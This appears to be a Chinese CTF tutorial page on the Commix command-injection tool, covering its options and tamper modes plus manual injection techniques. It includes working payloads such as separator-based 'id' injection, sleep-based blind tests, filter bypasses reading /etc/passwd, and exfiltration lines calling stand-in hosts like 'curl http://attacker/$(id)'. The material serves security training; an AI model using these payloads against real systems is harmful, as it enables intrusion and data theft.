Commix
2026/5/29工具工具Web安全命令注入Commix大约 3 分钟
Commix
是什么
Commix 是命令注入检测与利用工具,适合自动化测试参数是否进入系统命令。
CTF 中它适合作为辅助验证,尤其是盲命令注入、延时注入、复杂参数位置。
安装与配置
git clone https://github.com/commixproject/commix.git
cd commix
python3 commix.py -h基本用法
GET 参数
python3 commix.py -u "http://target.com/ping?ip=127.0.0.1"POST 参数
python3 commix.py -u "http://target.com/ping" --data="ip=127.0.0.1"带 Cookie
python3 commix.py -u "http://target.com/ping?ip=1" --cookie="session=..."指定参数
python3 commix.py -u "http://target.com/ping?ip=1&name=a" -p ip更多选项
指定 HTTP 方法
python3 commix.py -u "http://target.com/ping" --method=POST --data="ip=127.0.0.1"自定义 Header
python3 commix.py -u "http://target.com/ping?ip=1" --headers="X-Forwarded-For: 127.0.0.1"指定技术
# 只使用经典技术
python3 commix.py -u "http://target.com/ping?ip=1" --technique=classic
# 只使用时间盲注
python3 commix.py -u "http://target.com/ping?ip=1" --technique=time-based
# 只使用布尔盲注
python3 commix.py -u "http://target.com/ping?ip=1" --technique=boolean-based自定义 payload
python3 commix.py -u "http://target.com/ping?ip=1" --prefix="'" --suffix="'"绕过过滤
# 使用空格绕过
python3 commix.py -u "http://target.com/ping?ip=1" --tamper=space2ifs
# 使用引号绕过
python3 commix.py -u "http://target.com/ping?ip=1" --tamper=doublequotes
# 使用编码绕过
python3 commix.py -u "http://target.com/ping?ip=1" --tamper=base64encode输出详细信息
python3 commix.py -u "http://target.com/ping?ip=1" -v 1
python3 commix.py -u "http://target.com/ping?ip=1" -v 2
python3 commix.py -u "http://target.com/ping?ip=1" -v 3从文件读取 URL
python3 commix.py -m urls.txt批量测试
python3 commix.py -m urls.txt --batch命令注入技术
经典注入
分隔符:
; — 命令分隔
| — 管道符
|| — 逻辑或
&& — 逻辑与
& — 后台执行
` — 反引号
$() — 命令替换
示例:
127.0.0.1;id
127.0.0.1|id
127.0.0.1||id
127.0.0.1&&id
127.0.0.1`id`
127.0.0.1$(id)时间盲注
原理:
- 通过时间延迟判断命令是否执行
- 不依赖页面回显
常用命令:
sleep 5
ping -c 5 127.0.0.1
timeout 5
示例:
127.0.0.1;sleep 5
127.0.0.1|sleep 5布尔盲注
原理:
- 通过页面响应差异判断
- 需要两个不同的响应
示例:
127.0.0.1 && id # 有回显
127.0.0.1 && xxx # 无回显外带数据
原理:
- 通过 DNS/HTTP 外带数据
- 适用于无回显场景
方法:
- DNS 查询
- HTTP 请求
- ICMP 数据
- 文件写入
示例:
127.0.0.1;curl http://attacker/$(id)
127.0.0.1;ping -c 1 $(id).attacker.comCTF常用技巧
先手工确认
用最小 payload 观察:
127.0.0.1;id
127.0.0.1&&id
127.0.0.1|id手工有现象后再用工具扩展。
盲注看延时和外带
页面无回显时,尝试:
sleep
dns/http 外带
写入可访问文件工具输出要转成 WP 过程
不要只写"Commix 跑出来了"。要写参数如何影响命令结构。
绕过技巧
空格绕过:
${IFS}
%09 (tab)
%20 (space)
< /dev/tcp/...
引号绕过:
"i"d
i'd'
i${x}d
关键字绕过:
/bin/ca?/etc/passwd
cat /etc/pass?d
c'a't /etc/passwd手动验证
# 使用 curl 手动验证
curl "http://target.com/ping?ip=127.0.0.1;id"
# 使用 Burp 发送
# 在 Repeater 中修改参数常见问题
工具没测出来
可能需要登录、Header、特殊 Content-Type,或参数不在命令上下文。
误报怎么办
用 Burp/curl 手工复现,确认响应变化和命令执行结果。
真实网站能测吗
只能在授权靶场或 CTF 环境中使用。
WAF 拦截
1. 使用 --tamper 绕过
2. 尝试不同分隔符
3. 使用编码
4. 手动构造 payload无回显
1. 使用时间盲注
2. 使用外带数据
3. 写入文件后访问
4. 使用 DNS 外带关联
- 命令注入
- Web题的观察顺序
- Burp Suite
- curl
- httpie